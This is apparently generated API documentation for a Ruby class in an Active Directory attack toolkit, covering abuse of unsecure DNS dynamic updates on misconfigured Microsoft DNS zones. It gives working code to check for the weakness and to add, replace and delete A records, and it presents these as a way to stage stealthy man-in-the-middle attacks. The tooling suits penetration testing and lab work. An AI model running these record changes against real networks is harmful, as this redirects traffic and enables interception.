Class: ADAssault::DNS::DUZDU

Inherits:
Object
  • Object
show all
Defined in:
lib/adassault/dns/duzdu.rb

Overview

**DNS unsecure zone dynamic update (DUZDU).**

On a misconfigured MS DNS zone, one can abuse dynamic updates to perform MiTM attacks in a very stealth way.

On a Windows server with the DNS role, the ‘DSPROPERTY_ZONE_ALLOW_UPDATE` property defines whether dynamic updates are allowed. See [Microsoft - MS-DNSP - 2.3.2.1.1 Property Id](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/3af63871-0cc4-4179-916c-5caade55a8f3). The possible values (`fAllowUpdate`) are (see [Microsoft - MS-DNSP - 2.2.5.2.4.1 DNS_RPC_ZONE_INFO_W2K](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/e8651544-0fbb-4038-8232-375ff2d8a55e)):

  • ‘0` (`ZONE_UPDATE_OFF`): No updates are allowed for the zone.

  • ‘1` (`ZONE_UPDATE_UNSECURE`): All updates (secure and unsecure) are allowed for the zone.

  • ‘2` (`ZONE_UPDATE_SECURE`): The zone only allows secure updates, that is, DNS packet MUST have a TSIG [RFC2845] present in the additional section.

One can see the property when connected to the DNS server (near 100% of times on the domain controller), with the command: ‘dnscmd.exe /ZoneInfo <example: thm.local>` and the value of `update`. Another option with the GUI, is to launch `DNS Manager` on the Windows server, then unfold the tree until the DNS zone, right click on it, select `Properties`, on the `General` tab, see the value of the select fields named `Dynamic updates`. Of course it is also possible to check remotly by trying to create a record. (see #checkv4)

References:

Since:

  • 0.0.2

Instance Method Summary collapse

Constructor Details

#initialize(ad_domain, dns_opts = nil) ⇒ DUZDU

**Create the DUZDU object**

Examples:

duz = ADAssault::DNS::DUZDU.new('THM.local', nameserver: ['10.10.30.209'])

Parameters:

Options Hash (dns_opts):

  • :nameserver (Array|String)

    the DNS server to contact

Since:

  • 0.0.2



46
47
48
49
# File 'lib/adassault/dns/duzdu.rb', line 46

def initialize(ad_domain, dns_opts = nil)
  @ad_domain = ad_domain
  @dns_opts = dns_opts
end

Instance Method Details

#addv4(name, ip) ⇒ TrueClass|FalseClass

**Add a DNS A record (IPv4) via dynamic updates**

Warning: adding 2nd value the same name will result in two entries for the same record, not updating the name (for that use #replacev4).

Examples:

duz.addv4('noraj', '10.10.56.125') # => true

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. ‘test` ➡️ `test.example.org`

  • ip (String)

    IP address

Returns:

  • (TrueClass|FalseClass)

    ‘true` if the record was added successfully

Since:

  • 0.0.2



74
75
76
77
78
# File 'lib/adassault/dns/duzdu.rb', line 74

def addv4(name, ip)
  update = Dnsruby::Update.new(@ad_domain)
  update.add("#{name}.#{@ad_domain}.", 'A', 300, ip)
  send_update(update)
end

#checkv4TrueClass|FalseClass

**Check if unsecure dynamic updates are allowed (IPv4)**

It will try to create a random IPv4 record in the zone and remove it.

Examples:

duz.checkv4 # => false

Returns:

  • (TrueClass|FalseClass)

    ‘true` means unsecure dynamic updates are enabled

Since:

  • 0.0.2



102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# File 'lib/adassault/dns/duzdu.rb', line 102

def checkv4
  networks = ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16'].map { |x| IPAddr.new(x) }
  network = networks.sample
  begin
    name = Random.uuid_v4 # Ruby 3.3+
  rescue NoMethodError
    # see https://github.com/ruby/securerandom/issues/31
    name = Random.uuid # Ruby 3.2-
  end
  ip = IPAddr.new(rand(network.to_range.begin.succ.to_i..network.to_range.end.to_i - 1), network.family)
  created = addv4(name, ip)
  # if created
  #   deletev4(name)
  #   true
  # else
  #   false
  # end
  created ? deletev4(name) || true : false
end

#deletev4(name) ⇒ TrueClass|FalseClass

**Remove a DNS A record (IPv4) via dynamic updates**

Warning: if several entries exist for the same record, they will all be deleted.

Examples:

duz.deletev4('noraj') # => true

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. ‘test` ➡️ `test.example.org`

Returns:

  • (TrueClass|FalseClass)

    ‘true` if the record was removed successfully

Since:

  • 0.0.2



87
88
89
90
91
92
# File 'lib/adassault/dns/duzdu.rb', line 87

def deletev4(name)
  update = Dnsruby::Update.new(@ad_domain)
  update.present("#{name}.#{@ad_domain}", 'A')
  update.delete("#{name}.#{@ad_domain}", 'A')
  send_update(update)
end

#display(success, cmd) ⇒ nil

Display a CLI-friendly output showing if the executed method was successful or not

Parameters:

  • success (TrueClass|FalseClass)

    result of the command

  • cmd (String)

    name of the executed command

Returns:

  • (nil)

Since:

  • 0.0.2



141
142
143
144
145
146
147
148
149
150
151
# File 'lib/adassault/dns/duzdu.rb', line 141

def display(success, cmd)
  # allowed_methods = DUZDU.public_instance_methods(false) - [:display]
  # success = allowed_methods.include?(cmd.to_sym) ? send(cmd) : nil
  message = if success
              Paint["#{cmd} was executed successfully",
                    'green']
            else
              Paint["#{cmd} was unsuccessful", 'red']
            end
  puts message
end

#display_record(name, ips) ⇒ nil

Display a CLI-friendly output formating the DNS record with its FQDN and IP addresses.

Parameters:

  • name (String)

    record name, e.g. the argument of #getv4

  • ips (Array<String>)

    list of IP addresses, e.g. the return value of #getv4

Returns:

  • (nil)

Since:

  • 0.0.2



157
158
159
160
# File 'lib/adassault/dns/duzdu.rb', line 157

def display_record(name, ips)
  fqdn = "#{name}.#{@ad_domain}"
  puts "#{Paint[fqdn, 'cyan']} - #{Paint[ips.join(', '), 'aquamarine']}"
end

#getv4(name) ⇒ Array<String>

**Get the value(s) of a DNS A record (IPv4)**

Examples:

duz.getv4('noraj') # => ["10.10.56.128", "10.10.56.126"]

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. ‘test` ➡️ `test.example.org`

Returns:

  • (Array<String>)

    the IP address(es) as string(s)

Since:

  • 0.0.2



128
129
130
131
132
133
134
135
# File 'lib/adassault/dns/duzdu.rb', line 128

def getv4(name)
  Dnsruby::DNS.open(@dns_opts) do |dns|
    ress = dns.getresources("#{name}.#{@ad_domain}", 'A')
    ress.map { |x| x.address.to_s }
  rescue Dnsruby::NXDomain # The requested domain does not exist
    ['']
  end
end

#replacev4(name, ip) ⇒ TrueClass|FalseClass

**Change the value of an existing DNS A record (IPv4) via dynamic updates**

It will remove and recreate the record.

Warning: if several entries exist for the same record, they will all be replaced by the new value.

Examples:

duz.replacev4('noraj', '10.10.56.126') # => true

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. ‘test` ➡️ `test.example.org`

  • ip (String)

    IP address

Returns:

  • (TrueClass|FalseClass)

    ‘true` if the record was changed successfully

Since:

  • 0.0.2



61
62
63
64
# File 'lib/adassault/dns/duzdu.rb', line 61

def replacev4(name, ip)
  deletev4(name)
  addv4(name, ip)
end